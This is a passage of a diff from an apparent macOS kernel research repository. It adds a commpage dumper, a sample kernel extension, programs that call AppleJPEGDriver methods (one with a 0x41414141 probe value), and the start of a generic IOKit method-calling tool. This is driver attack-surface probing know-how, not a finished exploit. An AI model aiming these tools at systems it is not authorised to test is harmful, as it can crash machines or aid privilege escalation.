uint64_t boottime_usec;
|
||||
new_commpage_timeofday_data_t new_time_data;
|
||||
uint64_t unused5;
|
||||
uint64_t dyld_flags;
|
||||
uint8_t cpu_to_cluster[256];
|
||||
uint64_t quiescent_counter;
|
||||
uint64_t asb_target_value;
|
||||
uint64_t asb_target_address;
|
||||
uint64_t asb_target_kern_value;
|
||||
uint64_t asb_target_kern_address;
|
||||
} comm_page_t;
|
||||
|
||||
void print_cpu_capabilities64(uint64_t caps) {
|
||||
printf("CPU Capabilities64 details:\n");
|
||||
if (caps & 0x00000008) printf(" - FP16 Support\n");
|
||||
if (caps & 0x00000100) printf(" - Advanced SIMD\n");
|
||||
if (caps & 0x00000200) printf(" - Advanced SIMD half-precision\n");
|
||||
if (caps & 0x00000400) printf(" - VFP Support\n");
|
||||
if (caps & 0x00002000) printf(" - FMA Support\n");
|
||||
if (caps & 0x01000000) printf(" - ARMv8 Crypto\n");
|
||||
if (caps & 0x02000000) printf(" - ARMv8.1 Atomic instructions\n");
|
||||
if (caps & 0x04000000) printf(" - ARMv8 CRC32\n");
|
||||
if (caps & 0x80000000) printf(" - SHA512\n");
|
||||
// Extended capabilities
|
||||
if (caps & 0x0000000100000000) printf(" - SHA3\n");
|
||||
if (caps & 0x0000000200000000) printf(" - FCMA\n");
|
||||
if (caps & 0x0000000400000000) printf(" - AFP\n");
|
||||
}
|
||||
|
||||
int main() {
|
||||
comm_page_t *comm = (comm_page_t *)COMM_PAGE_BASE;
|
||||
|
||||
printf("Signature: ");
|
||||
for(int i = 0; i < 16; i++) printf("%02x", comm->signature[i]);
|
||||
printf("\n\n");
|
||||
|
||||
printf("CPU Capabilities64: 0x%llx\n", comm->cpu_capabilities64);
|
||||
print_cpu_capabilities64(comm->cpu_capabilities64);
|
||||
printf("\nVersion: %d\n", comm->version);
|
||||
printf("CPU Capabilities32: 0x%x\n", comm->cpu_capabilities);
|
||||
|
||||
printf("\nCPU Information:\n");
|
||||
printf("Physical CPUs: %d\n", comm->physical_cpus);
|
||||
printf("Logical CPUs: %d\n", comm->logical_cpus);
|
||||
printf("Active CPUs: %d\n", comm->active_cpus);
|
||||
printf("Number of configured CPUs: %d\n", comm->ncpus);
|
||||
|
||||
printf("\nMemory Information:\n");
|
||||
printf("Cache Line Size: %d\n", comm->cache_linesize);
|
||||
printf("Memory Size: %lld bytes\n", comm->memory_size);
|
||||
printf("Memory Pressure: %d\n", comm->memory_pressure);
|
||||
printf("32-bit Page Shift: %d\n", comm->user_page_shift_32);
|
||||
printf("64-bit Page Shift: %d\n", comm->user_page_shift_64);
|
||||
printf("Kernel Page Shift: %d\n", comm->kernel_page_shift);
|
||||
|
||||
printf("\nSystem Information:\n");
|
||||
printf("CPU Family: 0x%x\n", comm->cpufamily);
|
||||
printf("Device Firmware: 0x%x\n", comm->dev_firm);
|
||||
printf("DYLD System Flags: 0x%llx\n", comm->dyld_flags);
|
||||
printf("DTrace DOF Enabled: %d\n", comm->dtrace_dof_enabled);
|
||||
|
||||
printf("\nTime Information:\n");
|
||||
printf("Timebase Offset: 0x%llx\n", comm->timebase_offset);
|
||||
printf("Boot Time: %lld μs\n", comm->boottime_usec);
|
||||
printf("Continuous Hardware Clock: %d\n", comm->cont_hwclock);
|
||||
printf("User Timebase: %d\n", comm->user_timebase);
|
||||
printf("Continuous Timebase: 0x%llx\n", comm->cont_timebase);
|
||||
|
||||
printf("\nTime Data:\n");
|
||||
printf("TSC Base: 0x%llx\n", comm->time_data.nt_tsc_base);
|
||||
printf("Scale: %u\n", comm->time_data.nt_scale);
|
||||
printf("Shift: %u\n", comm->time_data.nt_shift);
|
||||
printf("NS Base: %lld\n", comm->time_data.nt_ns_base);
|
||||
printf("Generation: %u\n", comm->time_data.nt_generation);
|
||||
|
||||
printf("\nNew Time Data:\n");
|
||||
printf("Timestamp tick: %lld\n", comm->new_time_data.TimeStamp_tick);
|
||||
printf("Timestamp sec: %lld\n", comm->new_time_data.TimeStamp_sec);
|
||||
printf("Ticks per sec: %lld\n", comm->new_time_data.Ticks_per_sec);
|
||||
|
||||
printf("\nApproximate Time:\n");
|
||||
printf("Time: %lld\n", comm->approx.time);
|
||||
printf("Time Supported: %lld\n", comm->approx.time_supported);
|
||||
|
||||
printf("\nSecurity Information:\n");
|
||||
printf("ASB Target Value: 0x%llx\n", comm->asb_target_value);
|
||||
printf("ASB Target Address: 0x%llx\n", comm->asb_target_address);
|
||||
printf("ASB Target Kernel Value: 0x%llx\n", comm->asb_target_kern_value);
|
||||
printf("ASB Target Kernel Address: 0x%llx\n", comm->asb_target_kern_address);
|
||||
|
||||
printf("\nCPU Quiescent Counter: %lld\n", comm->quiescent_counter);
|
||||
|
||||
return 0;
|
||||
}
|
||||
173
X. NU/custom/HelloKext/HelloWorldKext.xcodeproj/project.pbxproj
Normal file
173
X. NU/custom/HelloKext/HelloWorldKext.xcodeproj/project.pbxproj
Normal file
@@ -0,0 +1,173 @@
|
||||
// !$*UTF8*$!
|
||||
{
|
||||
archiveVersion = 1;
|
||||
classes = {
|
||||
};
|
||||
objectVersion = 46;
|
||||
objects = {
|
||||
/* Begin PBXBuildFile section */
|
||||
8D01CCC80486CAD60068D4B7 /* HelloWorld.c in Sources */ = {
|
||||
isa = PBXBuildFile;
|
||||
fileRef = 08FB77B2FE8417CDC02AAC07 /* HelloWorld.c */;
|
||||
};
|
||||
/* End PBXBuildFile section */
|
||||
|
||||
/* Begin PBXFileReference section */
|
||||
08FB77B2FE8417CDC02AAC07 /* HelloWorld.c */ = {
|
||||
isa = PBXFileReference;
|
||||
fileEncoding = 4;
|
||||
lastKnownFileType = sourcecode.c.c;
|
||||
path = src/HelloWorld.c;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
8D01CCD10486CAD60068D4B7 /* Info.plist */ = {
|
||||
isa = PBXFileReference;
|
||||
fileEncoding = 4;
|
||||
lastKnownFileType = text.plist.xml;
|
||||
path = src/Info.plist;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
8D01CCD20486CAD60068D4B7 /* HelloWorld.kext */ = {
|
||||
isa = PBXFileReference;
|
||||
explicitFileType = "wrapper.kernel-extension";
|
||||
includeInIndex = 0;
|
||||
path = HelloWorld.kext;
|
||||
sourceTree = BUILT_PRODUCTS_DIR;
|
||||
};
|
||||
/* End PBXFileReference section */
|
||||
|
||||
/* Begin PBXGroup section */
|
||||
089C166AFE841209C02AAC07 /* HelloWorld */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
08FB77B2FE8417CDC02AAC07 /* HelloWorld.c */,
|
||||
8D01CCD10486CAD60068D4B7 /* Info.plist */,
|
||||
19C28FB6FE9D52B211CA2CBB /* Products */,
|
||||
);
|
||||
name = HelloWorld;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
19C28FB6FE9D52B211CA2CBB /* Products */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
8D01CCD20486CAD60068D4B7 /* HelloWorld.kext */,
|
||||
);
|
||||
name = Products;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
/* End PBXGroup section */
|
||||
|
||||
/* Begin PBXNativeTarget section */
|
||||
8D01CCC60486CAD60068D4B7 /* HelloWorld */ = {
|
||||
isa = PBXNativeTarget;
|
||||
buildConfigurationList = 1DEB91D908733DB10010E9CD /* Build configuration list */;
|
||||
buildPhases = (
|
||||
8D01CCC90486CAD60068D4B7 /* Sources */,
|
||||
);
|
||||
buildRules = (
|
||||
);
|
||||
dependencies = (
|
||||
);
|
||||
name = HelloWorld;
|
||||
productInstallPath = "$(HOME)/Library/Bundles";
|
||||
productName = HelloWorld;
|
||||
productReference = 8D01CCD20486CAD60068D4B7 /* HelloWorld.kext */;
|
||||
productType = "com.apple.product-type.kernel-extension";
|
||||
};
|
||||
/* End PBXNativeTarget section */
|
||||
|
||||
/* Begin PBXProject section */
|
||||
089C1669FE841209C02AAC07 /* Project object */ = {
|
||||
isa = PBXProject;
|
||||
buildConfigurationList = 1DEB91DD08733DB10010E9CD /* Build configuration list for PBXProject "HelloWorld" */;
|
||||
compatibilityVersion = "Xcode 3.2";
|
||||
developmentRegion = English;
|
||||
hasScannedForEncodings = 1;
|
||||
knownRegions = (
|
||||
English,
|
||||
Japanese,
|
||||
French,
|
||||
German
|
||||
);
|
||||
mainGroup = 089C166AFE841209C02AAC07 /* HelloWorld */;
|
||||
projectDirPath = "";
|
||||
projectRoot = "";
|
||||
targets = (
|
||||
8D01CCC60486CAD60068D4B7 /* HelloWorld */,
|
||||
);
|
||||
};
|
||||
/* End PBXProject section */
|
||||
|
||||
/* Begin PBXSourcesBuildPhase section */
|
||||
8D01CCC90486CAD60068D4B7 /* Sources */ = {
|
||||
isa = PBXSourcesBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
8D01CCC80486CAD60068D4B7 /* HelloWorld.c in Sources */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
/* End PBXSourcesBuildPhase section */
|
||||
|
||||
/* Begin XCBuildConfiguration section */
|
||||
1DEB91DA08733DB10010E9CD /* Release */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
ARCHS = "arm64e";
|
||||
VALID_ARCHS = "arm64e";
|
||||
KERNEL_EXTENSION_HEADER_SEARCH_PATHS = "$(KERNEL_FRAMEWORK)/Headers";
|
||||
KERNEL_FRAMEWORK = "$(SYSTEM_LIBRARY_DIR)/Frameworks/Kernel.framework";
|
||||
ONLY_ACTIVE_ARCH = NO;
|
||||
GCC_C_LANGUAGE_STANDARD = gnu11;
|
||||
CLANG_CXX_LANGUAGE_STANDARD = "gnu++17";
|
||||
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
|
||||
GCC_WARN_ABOUT_RETURN_TYPE = YES;
|
||||
GCC_WARN_UNUSED_VARIABLE = YES;
|
||||
INFOPLIST_FILE = src/Info.plist;
|
||||
PRODUCT_NAME = HelloWorld;
|
||||
PRODUCT_BUNDLE_IDENTIFIER = "crimson.HelloWorld";
|
||||
SDKROOT = macosx;
|
||||
WRAPPER_EXTENSION = kext;
|
||||
MODULE_NAME = "crimson.HelloWorld";
|
||||
MODULE_VERSION = 1.0.0;
|
||||
MACOSX_DEPLOYMENT_TARGET = 13.0;
|
||||
OTHER_CFLAGS = "-mkernel -fno-builtin -static";
|
||||
OTHER_LDFLAGS = "-static -lkmod";
|
||||
SYSTEM_HEADER_SEARCH_PATHS = "$(KERNEL_FRAMEWORK)/Headers";
|
||||
HEADER_SEARCH_PATHS = "$(KERNEL_FRAMEWORK)/Headers";
|
||||
};
|
||||
name = Release;
|
||||
};
|
||||
1DEB91DE08733DB10010E9CD /* Release */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
ARCHS = "arm64e";
|
||||
VALID_ARCHS = "arm64e";
|
||||
ONLY_ACTIVE_ARCH = NO;
|
||||
SDKROOT = macosx;
|
||||
};
|
||||
name = Release;
|
||||
};
|
||||
/* End XCBuildConfiguration section */
|
||||
|
||||
/* Begin XCConfigurationList section */
|
||||
1DEB91D908733DB10010E9CD /* Build configuration list for PBXNativeTarget "HelloWorld" */ = {
|
||||
isa = XCConfigurationList;
|
||||
buildConfigurations = (
|
||||
1DEB91DA08733DB10010E9CD /* Release */,
|
||||
);
|
||||
defaultConfigurationIsVisible = 0;
|
||||
defaultConfigurationName = Release;
|
||||
};
|
||||
1DEB91DD08733DB10010E9CD /* Build configuration list for PBXProject "HelloWorld" */ = {
|
||||
isa = XCConfigurationList;
|
||||
buildConfigurations = (
|
||||
1DEB91DE08733DB10010E9CD /* Release */,
|
||||
);
|
||||
defaultConfigurationIsVisible = 0;
|
||||
defaultConfigurationName = Release;
|
||||
};
|
||||
/* End XCConfigurationList section */
|
||||
};
|
||||
rootObject = 089C1669FE841209C02AAC07 /* Project object */;
|
||||
}
|
||||
17
X. NU/custom/HelloKext/src/HelloWorld.c
Normal file
17
X. NU/custom/HelloKext/src/HelloWorld.c
Normal file
@@ -0,0 +1,17 @@
|
||||
#include <mach/mach_types.h>
|
||||
#include <libkern/libkern.h>
|
||||
|
||||
kern_return_t HelloWorld_start(kmod_info_t * ki, void *d);
|
||||
kern_return_t HelloWorld_stop(kmod_info_t *ki, void *d);
|
||||
|
||||
kern_return_t HelloWorld_start(kmod_info_t * ki, void *d)
|
||||
{
|
||||
printf("HelloWorld from kext start");
|
||||
return KERN_SUCCESS;
|
||||
}
|
||||
|
||||
kern_return_t HelloWorld_stop(kmod_info_t *ki, void *d)
|
||||
{
|
||||
printf("HelloWorld from kext stop");
|
||||
return KERN_SUCCESS;
|
||||
}
|
||||
51
X. NU/custom/HelloKext/src/Info.plist
Normal file
51
X. NU/custom/HelloKext/src/Info.plist
Normal file
@@ -0,0 +1,51 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>BuildMachineOSBuild</key>
|
||||
<string>23H124</string>
|
||||
<key>CFBundleDevelopmentRegion</key>
|
||||
<string>en</string>
|
||||
<key>CFBundleExecutable</key>
|
||||
<string>HelloWorld</string>
|
||||
<key>CFBundleIdentifier</key>
|
||||
<string>crimson.HelloWorld</string>
|
||||
<key>CFBundleInfoDictionaryVersion</key>
|
||||
<string>6.0</string>
|
||||
<key>CFBundleName</key>
|
||||
<string>HelloWorld</string>
|
||||
<key>CFBundlePackageType</key>
|
||||
<string>KEXT</string>
|
||||
<key>CFBundleShortVersionString</key>
|
||||
<string>1.0</string>
|
||||
<key>CFBundleSupportedPlatforms</key>
|
||||
<array>
|
||||
<string>MacOSX</string>
|
||||
</array>
|
||||
<key>CFBundleVersion</key>
|
||||
<string>1</string>
|
||||
<key>DTCompiler</key>
|
||||
<string>com.apple.compilers.llvm.clang.1_0</string>
|
||||
<key>DTPlatformBuild</key>
|
||||
<string>24B75</string>
|
||||
<key>DTPlatformName</key>
|
||||
<string>macosx</string>
|
||||
<key>DTPlatformVersion</key>
|
||||
<string>15.1</string>
|
||||
<key>DTSDKBuild</key>
|
||||
<string>24B75</string>
|
||||
<key>DTSDKName</key>
|
||||
<string>macosx15.1</string>
|
||||
<key>DTXcode</key>
|
||||
<string>1610</string>
|
||||
<key>DTXcodeBuild</key>
|
||||
<string>16B40</string>
|
||||
<key>LSMinimumSystemVersion</key>
|
||||
<string>15.1</string>
|
||||
<key>OSBundleLibraries</key>
|
||||
<dict>
|
||||
<key>com.apple.kpi.libkern</key>
|
||||
<string>23.6.0</string>
|
||||
</dict>
|
||||
</dict>
|
||||
</plist>
|
||||
20
X. NU/custom/drivers/AppleJPEGDriver_method_0.cpp
Normal file
20
X. NU/custom/drivers/AppleJPEGDriver_method_0.cpp
Normal file
@@ -0,0 +1,20 @@
|
||||
#include <IOKit/IOKitLib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
// Get service
|
||||
io_service_t service = IOServiceGetMatchingService(kIOMainPortDefault, IOServiceMatching("AppleJPEGDriver"));
|
||||
|
||||
// Connect to service
|
||||
io_connect_t connect;
|
||||
kern_return_t kr = IOServiceOpen(service, mach_task_self(), 1, &connect);
|
||||
IOObjectRelease(service);
|
||||
|
||||
// Call external method
|
||||
kr = IOConnectCallMethod(connect, 0, NULL, 0, NULL, 0, NULL, NULL, NULL, NULL);
|
||||
printf("Method call result: 0x%x\n", kr);
|
||||
|
||||
// Cleanup
|
||||
IOServiceClose(connect);
|
||||
return 0;
|
||||
}
|
||||
10
X. NU/custom/drivers/AppleJPEGDriver_method_0.py
Normal file
10
X. NU/custom/drivers/AppleJPEGDriver_method_0.py
Normal file
@@ -0,0 +1,10 @@
|
||||
import iokitlib
|
||||
|
||||
# Get service and connect
|
||||
iokit = iokitlib.iokit()
|
||||
conn = iokit.open_service(b"AppleJPEGDriver", 1)
|
||||
print(f"Connection handle: {conn}")
|
||||
|
||||
# Call external method
|
||||
kr = iokit.connect_call_method(conn, 0, None, None, None, None)
|
||||
print(f"Method call result: {kr}")
|
||||
166
X. NU/custom/drivers/AppleJPEGDriver_method_1.cpp
Normal file
166
X. NU/custom/drivers/AppleJPEGDriver_method_1.cpp
Normal file
@@ -0,0 +1,166 @@
|
||||
// Compile command:
|
||||
// clang++ -framework IOKit -framework CoreFoundation -framework IOSurface AppleJPEGDriver_method_1.cpp -o AppleJPEGDriver_method_1
|
||||
|
||||
#include <IOKit/IOKitLib.h>
|
||||
#include <IOSurface/IOSurface.h>
|
||||
#include <CoreVideo/CVPixelBuffer.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
/**
|
||||
* Creates an IOSurface with JPEG format specifications
|
||||
* IOSurface is a memory buffer that can be shared between processes and hardware
|
||||
*
|
||||
* @details This function sets up an IOSurface with specific parameters:
|
||||
* - 32x32 pixel dimensions
|
||||
* - 0x10000 bytes allocation size
|
||||
* - JPEG format specification
|
||||
* - Global sharing enabled
|
||||
*
|
||||
* @return The unique identifier of the created surface, or 0 on failure
|
||||
*/
|
||||
static uint32_t create_surface(void) {
|
||||
// Create a mutable dictionary to hold surface properties
|
||||
CFMutableDictionaryRef dict = CFDictionaryCreateMutable(NULL, 0,
|
||||
&kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
|
||||
|
||||
if (!dict) return 0;
|
||||
|
||||
// Define surface parameters
|
||||
int width = 32;
|
||||
int height = 32;
|
||||
int alloc_size = 0x10000;
|
||||
int format = 'JPEG'; // Using JPEG format identifier
|
||||
|
||||
// Set surface as globally accessible
|
||||
CFDictionarySetValue(dict, CFSTR("IOSurfaceIsGlobal"), kCFBooleanTrue);
|
||||
|
||||
// Create CF numbers for surface properties
|
||||
CFNumberRef w = CFNumberCreate(NULL, kCFNumberSInt32Type, &width);
|
||||
CFNumberRef h = CFNumberCreate(NULL, kCFNumberSInt32Type, &height);
|
||||
CFNumberRef s = CFNumberCreate(NULL, kCFNumberSInt32Type, &alloc_size);
|
||||
CFNumberRef f = CFNumberCreate(NULL, kCFNumberSInt32Type, &format);
|
||||
|
||||
// Set surface properties in dictionary
|
||||
CFDictionarySetValue(dict, CFSTR("IOSurfaceWidth"), w);
|
||||
CFDictionarySetValue(dict, CFSTR("IOSurfaceHeight"), h);
|
||||
CFDictionarySetValue(dict, CFSTR("IOSurfaceAllocSize"), s);
|
||||
CFDictionarySetValue(dict, CFSTR("IOSurfacePixelFormat"), f);
|
||||
|
||||
// Create the surface with our specifications
|
||||
IOSurfaceRef surface = IOSurfaceCreate(dict);
|
||||
if (!surface) {
|
||||
CFRelease(w); CFRelease(h); CFRelease(s); CFRelease(f); CFRelease(dict);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Get surface ID and retain the surface
|
||||
uint32_t id = IOSurfaceGetID(surface);
|
||||
CFRetain(surface);
|
||||
|
||||
// Clean up allocated resources
|
||||
CFRelease(w); CFRelease(h); CFRelease(s); CFRelease(f); CFRelease(dict);
|
||||
return id;
|
||||
}
|
||||
|
||||
/**
|
||||
* Input structure for the AppleJPEGDriver
|
||||
* This structure defines the parameters needed for JPEG processing operations
|
||||
*
|
||||
* @note Structure must be exactly 88 bytes (0x58) in size
|
||||
* @note Fields marked as reserved should not be modified
|
||||
*/
|
||||
struct AppleJPEGDriverIOStruct {
|
||||
uint32_t src_surface; // Source surface ID
|
||||
uint32_t input_size; // Size of input data
|
||||
uint32_t dst_surface; // Destination surface ID
|
||||
uint32_t output_size; // Size of output buffer
|
||||
uint32_t reserved1[2]; // Reserved fields (previously input/output length)
|
||||
uint32_t pixelX; // X dimension in pixels
|
||||
uint32_t pixelY; // Y dimension in pixels
|
||||
uint32_t reserved2; // Reserved field
|
||||
uint32_t xOffset; // X offset for processing
|
||||
uint32_t yOffset; // Y offset for processing
|
||||
uint32_t subsampling; // Subsampling mode (must be 0-4)
|
||||
uint32_t callback; // Callback address
|
||||
uint32_t reserved3[3]; // Reserved fields
|
||||
uint32_t value100; // Value set to 100
|
||||
uint32_t reserved4[2]; // Reserved fields
|
||||
uint32_t decodeWidth; // Width for decoding
|
||||
uint32_t decodeHeight; // Height for decoding
|
||||
uint32_t reserved5; // Reserved field
|
||||
} __attribute__((packed));
|
||||
|
||||
int main() {
|
||||
// Create source and destination surfaces
|
||||
uint32_t src = create_surface();
|
||||
uint32_t dst = create_surface();
|
||||
|
||||
// Connect to the AppleJPEGDriver
|
||||
io_connect_t conn;
|
||||
io_service_t service = IOServiceGetMatchingService(kIOMainPortDefault,
|
||||
IOServiceMatching("AppleJPEGDriver"));
|
||||
if (!service) {
|
||||
printf("Driver not found\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Open a connection to the driver
|
||||
kern_return_t kr = IOServiceOpen(service, mach_task_self(), 1, &conn);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Open failed: %x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Initialize driver input structure
|
||||
struct AppleJPEGDriverIOStruct input = {};
|
||||
memset(&input, 0, sizeof(input));
|
||||
|
||||
// Configure input parameters
|
||||
input.src_surface = src;
|
||||
input.input_size = 2000;
|
||||
input.dst_surface = dst;
|
||||
input.output_size = 0x1000;
|
||||
input.pixelX = 100;
|
||||
input.pixelY = 3;
|
||||
input.xOffset = 0xd;
|
||||
input.yOffset = 0xff;
|
||||
input.subsampling = 0;
|
||||
input.callback = 0x41414141;
|
||||
input.value100 = 100;
|
||||
input.decodeWidth = 5;
|
||||
input.decodeHeight = 10;
|
||||
|
||||
// Verify structure size and print configuration
|
||||
printf("Structure size: %zu (should be 88)\n", sizeof(input));
|
||||
printf("Surface IDs: src=0x%x dst=0x%x\n", src, dst);
|
||||
printf("Input params:\n"
|
||||
" sizes: %u/%u\n"
|
||||
" pixels: %u/%u\n"
|
||||
" decode: %u/%u\n"
|
||||
" offset: %u/%u\n",
|
||||
input.input_size, input.output_size,
|
||||
input.pixelX, input.pixelY,
|
||||
input.decodeWidth, input.decodeHeight,
|
||||
input.xOffset, input.yOffset);
|
||||
|
||||
// Prepare output buffer and call driver
|
||||
char output[88] = {0};
|
||||
size_t output_size = sizeof(output);
|
||||
// Call IOKit method #1 on the connection, passing input/output buffers
|
||||
// kr: stores kernel return code (KERN_SUCCESS = 0 on success)
|
||||
// conn: connection to IOKit driver/service
|
||||
// 1: selector/method number to call
|
||||
// &input: pointer to input structure
|
||||
// sizeof(input): size of input buffer in bytes
|
||||
// output: buffer to receive output data
|
||||
// &output_size: pointer to size of output buffer (updated with actual bytes written)
|
||||
kr = IOConnectCallStructMethod(conn, 1, &input, sizeof(input), output, &output_size);
|
||||
|
||||
// Print result and clean up
|
||||
printf("Result: 0x%x (%s)\n", kr, mach_error_string(kr));
|
||||
|
||||
IOServiceClose(conn);
|
||||
IOObjectRelease(service);
|
||||
return 0;
|
||||
}
|
||||
31
X. NU/custom/drivers/DKIOCEJECT_ioctl.c
Normal file
31
X. NU/custom/drivers/DKIOCEJECT_ioctl.c
Normal file
@@ -0,0 +1,31 @@
|
||||
#include <stdio.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <paths.h>
|
||||
#include <sys/disk.h>
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
if (argc != 2) {
|
||||
printf("Usage: %s /dev/diskX\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Open the disk device
|
||||
int fd = open(argv[1], O_RDWR);
|
||||
if (fd < 0) {
|
||||
perror("Failed to open disk device");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Attempt to eject the disk using ioctl
|
||||
if (ioctl(fd, DKIOCEJECT, NULL) < 0) {
|
||||
perror("Failed to eject disk");
|
||||
close(fd);
|
||||
return 1;
|
||||
}
|
||||
|
||||
close(fd);
|
||||
printf("Disk ejected successfully\n");
|
||||
return 0;
|
||||
}
|
||||
302
X. NU/custom/drivers/IOVerify.c
Normal file
302
X. NU/custom/drivers/IOVerify.c
Normal file
@@ -0,0 +1,302 @@
|
||||
/**
|
||||
* @file IOVerify.c
|
||||
* @brief Standalone tool for IOKit driver communication verification.
|
||||
* clang IOVerify.c -o IOVerify -framework IOKit
|
||||
*
|
||||
* This tool allows for direct interaction with macOS IOKit drivers using IOConnectCallMethod.
|
||||
*
|
||||
* Usage:
|
||||
* IOVerify -n <name> (-m <method> | -y <spec>) [options]
|
||||
*
|
||||
* Options:
|
||||
* -n <name> : The class name of the IOKit service to target (required).
|
||||
* -t <type> : The connection type (user client type) to open. Default: 0.
|
||||
* -m <id> : The selector ID of the method to call.
|
||||
* -y <spec> : Shorthand to specify method and buffer sizes.
|
||||
* Format: "ID:[IN_SCA,IN_STR,OUT_SCA,OUT_STR]"
|
||||
* Example: -y "0: [0, 96, 0, 96]"
|
||||
* -p <payload> : A string to be used as the input buffer.
|
||||
* -f <file_name> : A file whose contents will be the input buffer.
|
||||
* -b <hex_string>: A space-separated hex string for the input buffer (e.g., "00 11 22 aa").
|
||||
* -i <size> : The size of the input structure buffer.
|
||||
* -o <size> : The size of the output structure buffer.
|
||||
* -s <val> : A 64-bit scalar input value (can be used multiple times).
|
||||
* -S <count> : The number of scalar output values.
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
#include <stdarg.h>
|
||||
#include <unistd.h> // For getopt
|
||||
#include <stdbool.h> // For bool type
|
||||
#include <IOKit/IOKitLib.h>
|
||||
#include <mach/mach_error.h> // For mach_error_string
|
||||
|
||||
// --- Structure Definitions ---
|
||||
// IOKit has a hard limit of 16 scalar inputs/outputs maximum
|
||||
#define IOKIT_MAX_SCALAR_COUNT 16
|
||||
uint64_t scalar_inputs[IOKIT_MAX_SCALAR_COUNT] = {0};
|
||||
|
||||
typedef struct {
|
||||
const char* driver_name;
|
||||
uint64_t conn_type;
|
||||
uint64_t method;
|
||||
const char* payload;
|
||||
const char* file_name;
|
||||
uint64_t input_size;
|
||||
uint64_t output_size;
|
||||
uint64_t* scalar_input;
|
||||
size_t scalar_in_size;
|
||||
size_t scalar_out_size;
|
||||
const char* byte_payload;
|
||||
} verify_args_t;
|
||||
|
||||
// --- Forward Declarations ---
|
||||
|
||||
io_service_t find_driver_service(const char* driver_name);
|
||||
io_connect_t get_driver_connection_handle(io_service_t service, const char* driver_name, uint32_t conn_type);
|
||||
kern_return_t verify_driver_communication(const verify_args_t* args);
|
||||
void print_usage(const char* prog_name);
|
||||
|
||||
// --- Implementations ---
|
||||
|
||||
void log_with_args(const char* format, ...) {
|
||||
va_list args;
|
||||
va_start(args, format);
|
||||
vprintf(format, args);
|
||||
va_end(args);
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
void print_payload_hexdump(const unsigned char *data, size_t size) {
|
||||
if (!data || size == 0) {
|
||||
printf("[empty]\n");
|
||||
return;
|
||||
}
|
||||
for (size_t i = 0; i < size; ++i) {
|
||||
printf("%02x ", data[i]);
|
||||
if ((i + 1) % 16 == 0) printf("\n");
|
||||
}
|
||||
if (size % 16 != 0) printf("\n");
|
||||
}
|
||||
|
||||
void log_event_with_scalars(const char* event, const verify_args_t* args, kern_return_t result, const void* output_buffer, size_t output_size, const uint64_t* scalar_output, size_t scalar_out_size_actual, const void* input_buffer, size_t input_size) {
|
||||
printf("\n--- [%s] Event Log ---\n", event);
|
||||
printf("Driver: %s\n", args->driver_name);
|
||||
printf("Connection Type: %llu\n", args->conn_type);
|
||||
printf("Method Selector: %llu\n", args->method);
|
||||
printf("Result: 0x%x (%s)\n", result, mach_error_string(result));
|
||||
|
||||
printf("\n--- Scalar I/O ---\n");
|
||||
printf("Scalar In Cnt: %zu\n", args->scalar_in_size);
|
||||
if (args->scalar_in_size > 0 && args->scalar_input) {
|
||||
printf("Scalar In: ");
|
||||
for (size_t i = 0; i < args->scalar_in_size; ++i) printf("0x%llx ", args->scalar_input[i]);
|
||||
printf("\n");
|
||||
}
|
||||
printf("Scalar Out Cnt: %zu\n", scalar_out_size_actual);
|
||||
if (scalar_out_size_actual > 0 && scalar_output) {
|
||||
printf("Scalar Out: ");
|
||||
for (size_t i = 0; i < scalar_out_size_actual; ++i) printf("0x%llx ", scalar_output[i]);
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
printf("\n--- Structure I/O ---\n");
|
||||
printf("Input Size: %zu bytes\n", input_size);
|
||||
printf("Input Data:\n");
|
||||
print_payload_hexdump(input_buffer, input_size);
|
||||
|
||||
printf("\nOutput Size: %zu bytes\n", output_size);
|
||||
printf("Output Data:\n");
|
||||
print_payload_hexdump(output_buffer, output_size);
|
||||
printf("--- End of Log ---\n\n");
|
||||
}
|
||||
|
||||
io_service_t find_driver_service(const char* driver_name) {
|
||||
return IOServiceGetMatchingService(kIOMainPortDefault, IOServiceMatching(driver_name));
|
||||
}
|
||||
|
||||
io_connect_t get_driver_connection_handle(io_service_t service, const char* driver_name, uint32_t conn_type) {
|
||||
io_connect_t client = MACH_PORT_NULL;
|
||||
kern_return_t kr = IOServiceOpen(service, mach_task_self(), conn_type, &client);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
log_with_args("Failed to open connection for driver '%s' (type %u). Error: 0x%x (%s)", driver_name, conn_type, kr, mach_error_string(kr));
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
return client;
|
||||
}
|
||||
|
||||
kern_return_t verify_driver_communication(const verify_args_t* args) {
|
||||
if (!args || !args->driver_name) {
|
||||
return KERN_INVALID_ARGUMENT;
|
||||
}
|
||||
|
||||
